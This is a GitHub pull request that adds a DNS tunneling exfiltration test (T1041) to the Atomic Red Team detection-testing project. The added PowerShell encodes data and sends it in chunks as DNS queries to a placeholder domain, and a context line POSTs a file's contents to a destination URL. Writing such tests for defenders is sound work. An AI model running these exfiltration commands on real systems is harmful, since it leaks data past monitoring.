Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update T1041.yaml DNS-Based C2 Data Exfiltration #2663

Merged
merged 5 commits into from
Jan 29, 2024
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 41 additions & 0 deletions atomics/T1041/T1041.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -25,3 +25,44 @@ atomic_tests:
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive
name: powershell

- name: DNS-Based C2 Data Exfiltration
prashanthpulisetti marked this conversation as resolved.
Show resolved Hide resolved
auto_generated_guid: c9207f3e-213d-4cc7-ad2a-7697a7237df9
description: |
Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.
supported_platforms:
- windows
input_arguments:
dns_server:
description: DNS server IP address or domain name.
type: string
prashanthpulisetti marked this conversation as resolved.
Show resolved Hide resolved
default: dns.example.com
exfiltrated_data:
description: Data to be exfiltrated.
type: string
default: SecretDataToExfiltrate
chunk_size:
description: Size of each DNS query chunk (in characters).
type: integer
default: 63
executor:
command: |
$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}

$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"

foreach ($chunk in $chunks) {
$dnsQuery = $chunk + "." + $dnsServer
Resolve-DnsName -Name $dnsQuery
Start-Sleep -Seconds 5
}
name: powershell
cleanup:
prashanthpulisetti marked this conversation as resolved.
Show resolved Hide resolved
- description: Remove DNS-related artifacts and clear DNS cache.
command: |
# Cleanup actions to remove DNS-related artifacts or clear DNS cache, if necessary.
# For example, you can remove any DNS query logs or artifacts generated during the test.